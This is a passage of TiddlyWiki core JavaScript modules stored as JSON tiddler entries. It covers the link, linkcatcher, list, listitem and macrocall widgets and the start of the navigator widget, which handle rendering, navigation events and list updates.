{\n\t\t\tclasses.push(this.linkClasses);\t\t\t\n\t\t}\n\t} else if(this.overrideClasses !== \"\") {\n\t\tclasses.push(this.overrideClasses)\n\t}\n\tif(classes.length > 0) {\n\t\tdomNode.setAttribute(\"class\",classes.join(\" \"));\n\t}\n\t// Set an href\n\tvar wikilinkTransformFilter = this.getVariable(\"tv-filter-export-link\"),\n\t\twikiLinkText;\n\tif(wikilinkTransformFilter) {\n\t\t// Use the filter to construct the href\n\t\twikiLinkText = this.wiki.filterTiddlers(wikilinkTransformFilter,this,function(iterator) {\n\t\t\titerator(self.wiki.getTiddler(self.to),self.to)\n\t\t})[0];\n\t} else {\n\t\t// Expand the tv-wikilink-template variable to construct the href\n\t\tvar wikiLinkTemplateMacro = this.getVariable(\"tv-wikilink-template\"),\n\t\t\twikiLinkTemplate = wikiLinkTemplateMacro ? wikiLinkTemplateMacro.trim() : \"#$uri_encoded$\";\n\t\twikiLinkText = $tw.utils.replaceString(wikiLinkTemplate,\"$uri_encoded$\",encodeURIComponent(this.to));\n\t\twikiLinkText = $tw.utils.replaceString(wikiLinkText,\"$uri_doubleencoded$\",encodeURIComponent(encodeURIComponent(this.to)));\n\t}\n\t// Override with the value of tv-get-export-link if defined\n\twikiLinkText = this.getVariable(\"tv-get-export-link\",{params: [{name: \"to\",value: this.to}],defaultValue: wikiLinkText});\n\tif(tag === \"a\") {\n\t\tdomNode.setAttribute(\"href\",wikiLinkText);\n\t}\n\t// Set the tabindex\n\tif(this.tabIndex) {\n\t\tdomNode.setAttribute(\"tabindex\",this.tabIndex);\n\t}\n\t// Set the tooltip\n\t// HACK: Performance issues with re-parsing the tooltip prevent us defaulting the tooltip to \"<$transclude field='tooltip'><$transclude field='title'/></$transclude>\"\n\tvar tooltipWikiText = this.tooltip || this.getVariable(\"tv-wikilink-tooltip\");\n\tif(tooltipWikiText) {\n\t\tvar tooltipText = this.wiki.renderText(\"text/plain\",\"text/vnd.tiddlywiki\",tooltipWikiText,{\n\t\t\t\tparseAsInline: true,\n\t\t\t\tvariables: {\n\t\t\t\t\tcurrentTiddler: this.to\n\t\t\t\t},\n\t\t\t\tparentWidget: this\n\t\t\t});\n\t\tdomNode.setAttribute(\"title\",tooltipText);\n\t}\n\tif(this[\"aria-label\"]) {\n\t\tdomNode.setAttribute(\"aria-label\",this[\"aria-label\"]);\n\t}\n\t// Add a click event handler\n\t$tw.utils.addEventListeners(domNode,[\n\t\t{name: \"click\", handlerObject: this, handlerMethod: \"handleClickEvent\"},\n\t]);\n\t// Make the link draggable if required\n\tif(this.draggable === \"yes\") {\n\t\t$tw.utils.makeDraggable({\n\t\t\tdomNode: domNode,\n\t\t\tdragTiddlerFn: function() {return self.to;},\n\t\t\twidget: this\n\t\t});\n\t}\n\t// Insert the link into the DOM and render any children\n\tparent.insertBefore(domNode,nextSibling);\n\tthis.renderChildren(domNode,null);\n\tthis.domNodes.push(domNode);\n};\n\nLinkWidget.prototype.handleClickEvent = function(event) {\n\t// Send the click on its way as a navigate event\n\tvar bounds = this.domNodes[0].getBoundingClientRect();\n\tthis.dispatchEvent({\n\t\ttype: \"tm-navigate\",\n\t\tnavigateTo: this.to,\n\t\tnavigateFromTitle: this.getVariable(\"storyTiddler\"),\n\t\tnavigateFromNode: this,\n\t\tnavigateFromClientRect: { top: bounds.top, left: bounds.left, width: bounds.width, right: bounds.right, bottom: bounds.bottom, height: bounds.height\n\t\t},\n\t\tnavigateSuppressNavigation: event.metaKey || event.ctrlKey || (event.button === 1),\n\t\tmetaKey: event.metaKey,\n\t\tctrlKey: event.ctrlKey,\n\t\taltKey: event.altKey,\n\t\tshiftKey: event.shiftKey\n\t});\n\tif(this.domNodes[0].hasAttribute(\"href\")) {\n\t\tevent.preventDefault();\n\t}\n\tevent.stopPropagation();\n\treturn false;\n};\n\n/*\nCompute the internal state of the widget\n*/\nLinkWidget.prototype.execute = function() {\n\t// Pick up our attributes\n\tthis.to = this.getAttribute(\"to\",this.getVariable(\"currentTiddler\"));\n\tthis.tooltip = this.getAttribute(\"tooltip\");\n\tthis[\"aria-label\"] = this.getAttribute(\"aria-label\");\n\tthis.linkClasses = this.getAttribute(\"class\");\n\tthis.overrideClasses = this.getAttribute(\"overrideClass\");\n\tthis.tabIndex = this.getAttribute(\"tabindex\");\n\tthis.draggable = this.getAttribute(\"draggable\",\"yes\");\n\tthis.linkTag = this.getAttribute(\"tag\",\"a\");\n\t// Determine the link characteristics\n\tthis.isMissing = !this.wiki.tiddlerExists(this.to);\n\tthis.isShadow = this.wiki.isShadowTiddler(this.to);\n\tthis.hideMissingLinks = (this.getVariable(\"tv-show-missing-links\") || \"yes\") === \"no\";\n\t// Make the child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nLinkWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.to || changedTiddlers[this.to] || changedAttributes[\"aria-label\"] || changedAttributes.tooltip) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t}\n\treturn this.refreshChildren(changedTiddlers);\n};\n\nexports.link = LinkWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/linkcatcher.js": {
            "title": "$:/core/modules/widgets/linkcatcher.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/linkcatcher.js\ntype: application/javascript\nmodule-type: widget\n\nLinkcatcher widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar LinkCatcherWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n\tthis.addEventListeners([\n\t\t{type: \"tm-navigate\", handler: \"handleNavigateEvent\"}\n\t]);\n};\n\n/*\nInherit from the base widget class\n*/\nLinkCatcherWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nLinkCatcherWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tthis.renderChildren(parent,nextSibling);\n};\n\n/*\nCompute the internal state of the widget\n*/\nLinkCatcherWidget.prototype.execute = function() {\n\t// Get our parameters\n\tthis.catchTo = this.getAttribute(\"to\");\n\tthis.catchMessage = this.getAttribute(\"message\");\n\tthis.catchSet = this.getAttribute(\"set\");\n\tthis.catchSetTo = this.getAttribute(\"setTo\");\n\tthis.catchActions = this.getAttribute(\"actions\");\n\t// Construct the child widgets\n\tthis.makeChildWidgets();\n\t// When executing actions we avoid trapping navigate events, so that we don't trigger ourselves recursively\n\tthis.executingActions = false;\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nLinkCatcherWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.to || changedAttributes.message || changedAttributes.set || changedAttributes.setTo) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\treturn this.refreshChildren(changedTiddlers);\t\t\n\t}\n};\n\n/*\nHandle a tm-navigate event\n*/\nLinkCatcherWidget.prototype.handleNavigateEvent = function(event) {\n\tif(!this.executingActions) {\n\t\t// Execute the actions\n\t\tif(this.catchTo) {\n\t\t\tthis.wiki.setTextReference(this.catchTo,event.navigateTo,this.getVariable(\"currentTiddler\"));\n\t\t}\n\t\tif(this.catchMessage && this.parentWidget) {\n\t\t\tthis.parentWidget.dispatchEvent({\n\t\t\t\ttype: this.catchMessage,\n\t\t\t\tparam: event.navigateTo,\n\t\t\t\tnavigateTo: event.navigateTo\n\t\t\t});\n\t\t}\n\t\tif(this.catchSet) {\n\t\t\tvar tiddler = this.wiki.getTiddler(this.catchSet);\n\t\t\tthis.wiki.addTiddler(new $tw.Tiddler(tiddler,{title: this.catchSet, text: this.catchSetTo}));\n\t\t}\n\t\tif(this.catchActions) {\n\t\t\tthis.executingActions = true;\n\t\t\tthis.invokeActionString(this.catchActions,this,event,{navigateTo: event.navigateTo});\n\t\t\tthis.executingActions = false;\n\t\t}\n\t} else {\n\t\t// This is a navigate event generated by the actions of this linkcatcher, so we don't trap it again, but just pass it to the parent\n\t\tthis.parentWidget.dispatchEvent({\n\t\t\ttype: \"tm-navigate\",\n\t\t\tparam: event.navigateTo,\n\t\t\tnavigateTo: event.navigateTo\n\t\t});\n\t}\n\treturn false;\n};\n\nexports.linkcatcher = LinkCatcherWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/list.js": {
            "title": "$:/core/modules/widgets/list.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/list.js\ntype: application/javascript\nmodule-type: widget\n\nList and list item widgets\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\n/*\nThe list widget creates list element sub-widgets that reach back into the list widget for their configuration\n*/\n\nvar ListWidget = function(parseTreeNode,options) {\n\t// Initialise the storyviews if they've not been done already\n\tif(!this.storyViews) {\n\t\tListWidget.prototype.storyViews = {};\n\t\t$tw.modules.applyMethods(\"storyview\",this.storyViews);\n\t}\n\t// Main initialisation inherited from widget.js\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nListWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nListWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tthis.renderChildren(parent,nextSibling);\n\t// Construct the storyview\n\tvar StoryView = this.storyViews[this.storyViewName];\n\tif(this.storyViewName && !StoryView) {\n\t\tStoryView = this.storyViews[\"classic\"];\n\t}\n\tif(StoryView && !this.document.isTiddlyWikiFakeDom) {\n\t\tthis.storyview = new StoryView(this);\n\t} else {\n\t\tthis.storyview = null;\n\t}\n};\n\n/*\nCompute the internal state of the widget\n*/\nListWidget.prototype.execute = function() {\n\t// Get our attributes\n\tthis.template = this.getAttribute(\"template\");\n\tthis.editTemplate = this.getAttribute(\"editTemplate\");\n\tthis.variableName = this.getAttribute(\"variable\",\"currentTiddler\");\n\tthis.storyViewName = this.getAttribute(\"storyview\");\n\tthis.historyTitle = this.getAttribute(\"history\");\n\t// Compose the list elements\n\tthis.list = this.getTiddlerList();\n\tvar members = [],\n\t\tself = this;\n\t// Check for an empty list\n\tif(this.list.length === 0) {\n\t\tmembers = this.getEmptyMessage();\n\t} else {\n\t\t$tw.utils.each(this.list,function(title,index) {\n\t\t\tmembers.push(self.makeItemTemplate(title));\n\t\t});\n\t}\n\t// Construct the child widgets\n\tthis.makeChildWidgets(members);\n\t// Clear the last history\n\tthis.history = [];\n};\n\nListWidget.prototype.getTiddlerList = function() {\n\tvar defaultFilter = \"[!is[system]sort[title]]\";\n\treturn this.wiki.filterTiddlers(this.getAttribute(\"filter\",defaultFilter),this);\n};\n\nListWidget.prototype.getEmptyMessage = function() {\n\tvar emptyMessage = this.getAttribute(\"emptyMessage\",\"\"),\n\t\tparser = this.wiki.parseText(\"text/vnd.tiddlywiki\",emptyMessage,{parseAsInline: true});\n\tif(parser) {\n\t\treturn parser.tree;\n\t} else {\n\t\treturn [];\n\t}\n};\n\n/*\nCompose the template for a list item\n*/\nListWidget.prototype.makeItemTemplate = function(title) {\n\t// Check if the tiddler is a draft\n\tvar tiddler = this.wiki.getTiddler(title),\n\t\tisDraft = tiddler && tiddler.hasField(\"draft.of\"),\n\t\ttemplate = this.template,\n\t\ttemplateTree;\n\tif(isDraft && this.editTemplate) {\n\t\ttemplate = this.editTemplate;\n\t}\n\t// Compose the transclusion of the template\n\tif(template) {\n\t\ttemplateTree = [{type: \"transclude\", attributes: {tiddler: {type: \"string\", value: template}}}];\n\t} else {\n\t\tif(this.parseTreeNode.children && this.parseTreeNode.children.length > 0) {\n\t\t\ttemplateTree = this.parseTreeNode.children;\n\t\t} else {\n\t\t\t// Default template is a link to the title\n\t\t\ttemplateTree = [{type: \"element\", tag: this.parseTreeNode.isBlock ? \"div\" : \"span\", children: [{type: \"link\", attributes: {to: {type: \"string\", value: title}}, children: [\n\t\t\t\t\t{type: \"text\", text: title}\n\t\t\t]}]}];\n\t\t}\n\t}\n\t// Return the list item\n\treturn {type: \"listitem\", itemTitle: title, variableName: this.variableName, children: templateTree};\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nListWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes(),\n\t\tresult;\n\t// Call the storyview\n\tif(this.storyview && this.storyview.refreshStart) {\n\t\tthis.storyview.refreshStart(changedTiddlers,changedAttributes);\n\t}\n\t// Completely refresh if any of our attributes have changed\n\tif(changedAttributes.filter || changedAttributes.template || changedAttributes.editTemplate || changedAttributes.emptyMessage || changedAttributes.storyview || changedAttributes.history) {\n\t\tthis.refreshSelf();\n\t\tresult = true;\n\t} else {\n\t\t// Handle any changes to the list\n\t\tresult = this.handleListChanges(changedTiddlers);\n\t\t// Handle any changes to the history stack\n\t\tif(this.historyTitle && changedTiddlers[this.historyTitle]) {\n\t\t\tthis.handleHistoryChanges();\n\t\t}\n\t}\n\t// Call the storyview\n\tif(this.storyview && this.storyview.refreshEnd) {\n\t\tthis.storyview.refreshEnd(changedTiddlers,changedAttributes);\n\t}\n\treturn result;\n};\n\n/*\nHandle any changes to the history list\n*/\nListWidget.prototype.handleHistoryChanges = function() {\n\t// Get the history data\n\tvar newHistory = this.wiki.getTiddlerDataCached(this.historyTitle,[]);\n\t// Ignore any entries of the history that match the previous history\n\tvar entry = 0;\n\twhile(entry < newHistory.length && entry < this.history.length && newHistory[entry].title === this.history[entry].title) {\n\t\tentry++;\n\t}\n\t// Navigate forwards to each of the new tiddlers\n\twhile(entry < newHistory.length) {\n\t\tif(this.storyview && this.storyview.navigateTo) {\n\t\t\tthis.storyview.navigateTo(newHistory[entry]);\n\t\t}\n\t\tentry++;\n\t}\n\t// Update the history\n\tthis.history = newHistory;\n};\n\n/*\nProcess any changes to the list\n*/\nListWidget.prototype.handleListChanges = function(changedTiddlers) {\n\t// Get the new list\n\tvar prevList = this.list;\n\tthis.list = this.getTiddlerList();\n\t// Check for an empty list\n\tif(this.list.length === 0) {\n\t\t// Check if it was empty before\n\t\tif(prevList.length === 0) {\n\t\t\t// If so, just refresh the empty message\n\t\t\treturn this.refreshChildren(changedTiddlers);\n\t\t} else {\n\t\t\t// Replace the previous content with the empty message\n\t\t\tfor(t=this.children.length-1; t>=0; t--) {\n\t\t\t\tthis.removeListItem(t);\n\t\t\t}\n\t\t\tvar nextSibling = this.findNextSiblingDomNode();\n\t\t\tthis.makeChildWidgets(this.getEmptyMessage());\n\t\t\tthis.renderChildren(this.parentDomNode,nextSibling);\n\t\t\treturn true;\n\t\t}\n\t} else {\n\t\t// If the list was empty then we need to remove the empty message\n\t\tif(prevList.length === 0) {\n\t\t\tthis.removeChildDomNodes();\n\t\t\tthis.children = [];\n\t\t}\n\t\t// Cycle through the list, inserting and removing list items as needed\n\t\tvar hasRefreshed = false;\n\t\tfor(var t=0; t<this.list.length; t++) {\n\t\t\tvar index = this.findListItem(t,this.list[t]);\n\t\t\tif(index === undefined) {\n\t\t\t\t// The list item must be inserted\n\t\t\t\tthis.insertListItem(t,this.list[t]);\n\t\t\t\thasRefreshed = true;\n\t\t\t} else {\n\t\t\t\t// There are intervening list items that must be removed\n\t\t\t\tfor(var n=index-1; n>=t; n--) {\n\t\t\t\t\tthis.removeListItem(n);\n\t\t\t\t\thasRefreshed = true;\n\t\t\t\t}\n\t\t\t\t// Refresh the item we're reusing\n\t\t\t\tvar refreshed = this.children[t].refresh(changedTiddlers);\n\t\t\t\thasRefreshed = hasRefreshed || refreshed;\n\t\t\t}\n\t\t}\n\t\t// Remove any left over items\n\t\tfor(t=this.children.length-1; t>=this.list.length; t--) {\n\t\t\tthis.removeListItem(t);\n\t\t\thasRefreshed = true;\n\t\t}\n\t\treturn hasRefreshed;\n\t}\n};\n\n/*\nFind the list item with a given title, starting from a specified position\n*/\nListWidget.prototype.findListItem = function(startIndex,title) {\n\twhile(startIndex < this.children.length) {\n\t\tif(this.children[startIndex].parseTreeNode.itemTitle === title) {\n\t\t\treturn startIndex;\n\t\t}\n\t\tstartIndex++;\n\t}\n\treturn undefined;\n};\n\n/*\nInsert a new list item at the specified index\n*/\nListWidget.prototype.insertListItem = function(index,title) {\n\t// Create, insert and render the new child widgets\n\tvar widget = this.makeChildWidget(this.makeItemTemplate(title));\n\twidget.parentDomNode = this.parentDomNode; // Hack to enable findNextSiblingDomNode() to work\n\tthis.children.splice(index,0,widget);\n\tvar nextSibling = widget.findNextSiblingDomNode();\n\twidget.render(this.parentDomNode,nextSibling);\n\t// Animate the insertion if required\n\tif(this.storyview && this.storyview.insert) {\n\t\tthis.storyview.insert(widget);\n\t}\n\treturn true;\n};\n\n/*\nRemove the specified list item\n*/\nListWidget.prototype.removeListItem = function(index) {\n\tvar widget = this.children[index];\n\t// Animate the removal if required\n\tif(this.storyview && this.storyview.remove) {\n\t\tthis.storyview.remove(widget);\n\t} else {\n\t\twidget.removeChildDomNodes();\n\t}\n\t// Remove the child widget\n\tthis.children.splice(index,1);\n};\n\nexports.list = ListWidget;\n\nvar ListItemWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nListItemWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nListItemWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tthis.renderChildren(parent,nextSibling);\n};\n\n/*\nCompute the internal state of the widget\n*/\nListItemWidget.prototype.execute = function() {\n\t// Set the current list item title\n\tthis.setVariable(this.parseTreeNode.variableName,this.parseTreeNode.itemTitle);\n\t// Construct the child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nListItemWidget.prototype.refresh = function(changedTiddlers) {\n\treturn this.refreshChildren(changedTiddlers);\n};\n\nexports.listitem = ListItemWidget;\n\n})();",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/macrocall.js": {
            "title": "$:/core/modules/widgets/macrocall.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/macrocall.js\ntype: application/javascript\nmodule-type: widget\n\nMacrocall widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar MacroCallWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nMacroCallWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nMacroCallWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tthis.renderChildren(parent,nextSibling);\n};\n\n/*\nCompute the internal state of the widget\n*/\nMacroCallWidget.prototype.execute = function() {\n\t// Get the parse type if specified\n\tthis.parseType = this.getAttribute(\"$type\",\"text/vnd.tiddlywiki\");\n\tthis.renderOutput = this.getAttribute(\"$output\",\"text/html\");\n\t// Merge together the parameters specified in the parse tree with the specified attributes\n\tvar params = this.parseTreeNode.params ? this.parseTreeNode.params.slice(0) : [];\n\t$tw.utils.each(this.attributes,function(attribute,name) {\n\t\tif(name.charAt(0) !== \"$\") {\n\t\t\tparams.push({name: name, value: attribute});\t\t\t\n\t\t}\n\t});\n\t// Get the macro value\n\tvar macroName = this.parseTreeNode.name || this.getAttribute(\"$name\"),\n\t\tvariableInfo = this.getVariableInfo(macroName,{params: params}),\n\t\ttext = variableInfo.text,\n\t\tparseTreeNodes;\n\t// Are we rendering to HTML?\n\tif(this.renderOutput === \"text/html\") {\n\t\t// If so we'll return the parsed macro\n\t\tvar parser = this.wiki.parseText(this.parseType,text,\n\t\t\t\t\t\t\t{parseAsInline: !this.parseTreeNode.isBlock});\n\t\tparseTreeNodes = parser ? parser.tree : [];\n\t\t// Wrap the parse tree in a vars widget assigning the parameters to variables named \"__paramname__\"\n\t\tvar attributes = {};\n\t\t$tw.utils.each(variableInfo.params,function(param) {\n\t\t\tvar name = \"__\" + param.name + \"__\";\n\t\t\tattributes[name] = {\n\t\t\t\tname: name,\n\t\t\t\ttype: \"string\",\n\t\t\t\tvalue: param.value\n\t\t\t};\n\t\t});\n\t\tparseTreeNodes = [{\n\t\t\ttype: \"vars\",\n\t\t\tattributes: attributes,\n\t\t\tchildren: parseTreeNodes\n\t\t}];\n\t} else {\n\t\t// Otherwise, we'll render the text\n\t\tvar plainText = this.wiki.renderText(\"text/plain\",this.parseType,text,{parentWidget: this});\n\t\tparseTreeNodes = [{type: \"text\", text: plainText}];\n\t}\n\t// Construct the child widgets\n\tthis.makeChildWidgets(parseTreeNodes);\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nMacroCallWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif($tw.utils.count(changedAttributes) > 0) {\n\t\t// Rerender ourselves\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\treturn this.refreshChildren(changedTiddlers);\n\t}\n};\n\nexports.macrocall = MacroCallWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/navigator.js": {
            "title": "$:/core/modules/widgets/navigator.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/navigator.js\ntype: application/javascript\nmodule-type: widget\n\nNavigator widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar IMPORT_TITLE = \"$:/Import\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar NavigatorWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n\tthis.addEventListeners([\n\t\t{type: \"tm-navigate\", handler: \"handleNavigateEvent\"},\n\t\t{type: \"tm-edit-tiddler\", handler: \"handleEditTiddlerEvent\"},\n\t\t{type: \"tm-delete-tiddler\", handler: \"handleDeleteTiddlerEvent\"},\n\t\t{type: \"tm-save-tiddler\", handler: \"handleSaveTiddlerEvent\"},\n\t\t{type: \"tm-cancel-tiddler\", handler: \"handleCancelTiddlerEvent\"},\n\t\t{type: \"tm-close-tiddler\", handler: \"handleCloseTiddlerEvent\"},\n\t\t{type: \"tm-close-all-tiddlers\", handler: \"handleCloseAllTiddlersEvent\"},\n\t\t{type: \"tm-close-other-tiddlers\", handler: \"handleCloseOtherTiddlersEvent\"},\n\t\t{type: \"tm-new-tiddler\", handler: \"handleNewTiddlerEvent\"},\n\t\t{type: \"tm-import-tiddlers\", handler: \"handleImportTiddlersEvent\"},\n\t\t{type: \"tm-perform-import\", handler: \"handlePerformImportEvent\"},\n\t\t{type: \"tm-fold-tiddler\", handler: \"handleFoldTiddlerEvent\"},\n\t\t{type: \"tm-fold-other-tiddlers\", handler: \"handleFoldOtherTiddlersEvent\"},\n\t\t{type: \"tm-fold-all-tiddlers\", handler: \"handleFoldAllTiddlersEvent\"},\n\t\t{type: \"tm-unfold-all-tiddlers\", handler: \"handleUnfoldAllTiddlersEvent\"},\n\t\t{type: \"tm-rename-tiddler\", handler: \"handleRenameTiddlerEvent\"}\n\t]);\n};\n\n/*\nInherit from the base widget class\n*/\nNavigatorWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nNavigatorWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tthis.renderChildren(parent,nextSibling);\n};\n\n/*\nCompute the internal state of the widget\n*/\nNavigatorWidget.prototype.execute = function() {\n\t// Get our parameters\n\tthis.storyTitle = this.getAttribute(\"story\");\n\tthis.historyTitle = this.getAttribute(\"history\");\n\tthis.setVariable(\"tv-story-list\",this.storyTitle);\n\tthis.setVariable(\"tv-history-list\",this.historyTitle);\n\t// Construct the child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nNavigatorWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.story || changedAttributes.history) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\treturn this.refreshChildren(changedTiddlers);\n\t}\n};\n\nNavigatorWidget.prototype.getStoryList = function() {\n\treturn this.storyTitle ? this.wiki.getTiddlerList(this.storyTitle) : null;\n};\n\nNavigatorWidget.prototype.saveStoryList = function(storyList) {\n\tvar storyTiddler = this.wiki.getTiddler(this.storyTitle);\n\tthis.wiki.addTiddler(new $tw.Tiddler(\n\t\t{title: this.storyTitle},\n\t\tstoryTiddler,\n\t\t{list: storyList}\n\t));\n};\n\nNavigatorWidget.prototype.removeTitleFromStory = function(storyList,title) {\n\tvar p = storyList.indexOf(title);\n\twhile(p !== -1) {\n\t\tstoryList.splice(p,1);\n\t\tp = storyList.indexOf(title);\n\t}\n};\n\nNavigatorWidget.prototype.replaceFirstTitleInStory = function(storyList,oldTitle,newTitle) {\n\tvar pos = storyList.indexOf(oldTitle);\n\tif(pos !== -1) {\n\t\tstoryList[pos] = newTitle;\n\t\tdo {\n\t\t\tpos = storyList.indexOf(oldTitle,pos + 1);\n\t\t\tif(pos !== -1) {\n\t\t\t\tstoryList.splice(pos,1);\n\t\t\t}\n\t\t} while(pos !== -1);\n\t} else {\n\t\tstoryList.splice(0,0,newTitle);\n\t}\n};\n\nNavigatorWidget.prototype.addToStory = function(title,fromTitle) {\n\tthis.wiki.addToStory(title,fromTitle,this.storyTitle,{openLinkFromInsideRiver: this.getAttribute(\"openLinkFromInsideRiver\",\"top\"),openLinkFromOutsideRiver: this.getAttribute(\"openLinkFromOutsideRiver\",\"top\")});\n};\n\n/*\nAdd a new record to the top of the history stack\ntitle: a title string or an array of title strings\nfromPageRect: page coordinates of the origin of the navigation\n*/\nNavigatorWidget.prototype.addToHistory = function(title,fromPageRect) {\n\tthis.wiki.addToHistory(title,fromPageRect,this.historyTitle);\n};\n\n/*\nHandle a tm-navigate event\n*/\nNavigatorWidget.prototype.handleNavigateEvent = function(event) {\n\tevent = $tw.hooks.invokeHook(\"th-navigating\",event);\n\tif(event.navigateTo) {\n\t\tthis.addToStory(event.navigateTo,event.navigateFromTitle);\n\t\tif(!event.navigateSuppressNavigation) {\n\t\t\tthis.addToHistory(event.navigateTo,event.navigateFromClientRect);\n\t\t}\n\t}\n\treturn false;\n};\n\n// Close a specified tiddler\nNavigatorWidget.prototype.handleCloseTiddlerEvent = function(event) {\n\tvar title = event.param || event.tiddlerTitle,\n\t\tstoryList = this.getStoryList();\n\t// Look for tiddlers with this title to close\n\tthis.removeTitleFromStory(storyList,title);\n\tthis.saveStoryList(storyList);\n\treturn false;\n};\n\n// Close all tiddlers\nNavigatorWidget.prototype.handleCloseAllTiddlersEvent = function(event) {\n\tthis.saveStoryList([]);\n\treturn false;\n};\n\n// Close other tiddlers\nNavigatorWidget.prototype.handleCloseOtherTiddlersEvent = function(event) {\n\tvar title = event.param || event.tiddlerTitle;\n\tthis.saveStoryList([title]);\n\treturn false;\n};\n\n// Place a tiddler in edit mode\nNavigatorWidget.prototype.handleEditTiddlerEvent = function(event) {\n\tvar editTiddler = $tw.hooks.invokeHook(\"th-editing-tiddler\",event);\n\tif(!editTiddler) {\n\t\treturn false;\n\t}\n\tvar self = this;\n\tfunction isUnmodifiedShadow(title) {\n\t\treturn self.wiki.isShadowTiddler(title) && !self.wiki.tiddlerExists(title);\n\t}\n\tfunction confirmEditShadow(title) {\n\t\treturn confirm($tw.language.getString(\n\t\t\t\"ConfirmEditShadowTiddler\",\n\t\t\t{variables:\n\t\t\t\t{title: title}\n\t\t\t}\n\t\t));\n\t}\n\tvar title = event.param || event.tiddlerTitle;\n\tif(isUnmodifiedShadow(title) && !confirmEditShadow(title)) {\n\t\treturn false;\n\t}\n\t// Replace the specified tiddler with a draft in edit mode\n\tvar draftTiddler = this.makeDraftTiddler(title);\n\t// Update the story and history if required\n\tif(!event.paramObject || event.paramObject.suppressNavigation !== \"yes\") {\n\t\tvar draftTitle = draftTiddler.fields.title,\n\t\t\tstoryList = this.getStoryList();\n\t\tthis.removeTitleFromStory(storyList,draftTitle);\n\t\tthis.replaceFirstTitleInStory(storyList,title,draftTitle);\n\t\tthis.addToHistory(draftTitle,event.navigateFromClientRect);\n\t\tthis.saveStoryList(storyList);\n\t\treturn false;\n\t}\n};\n\n// Delete a tiddler\nNavigatorWidget.prototype.handleDeleteTiddlerEvent = function(event) {\n\t// Get the tiddler we're deleting\n\tvar title = event.param || event.tiddlerTitle,\n\t\ttiddler = this.wiki.getTiddler(title),\n\t\tstoryList = this.getStoryList(),\n\t\toriginalTitle = tiddler ? tiddler.fields[\"draft.of\"] : \"\",\n\t\toriginalTiddler = originalTitle ? this.wiki.getTiddler(originalTitle) : undefined,\n\t\tconfirmationTitle;\n\tif(!tiddler) {\n\t\treturn false;\n\t}\n\t// Check if the tiddler we're deleting is in draft mode\n\tif(originalTitle) {\n\t\t// If so, we'll prompt for confirmation referencing the original tiddler\n\t\tconfirmationTitle = originalTitle;\n\t} else {\n\t\t// If not a draft, then prompt for confirmation referencing the specified tiddler\n\t\tconfirmationTitle = 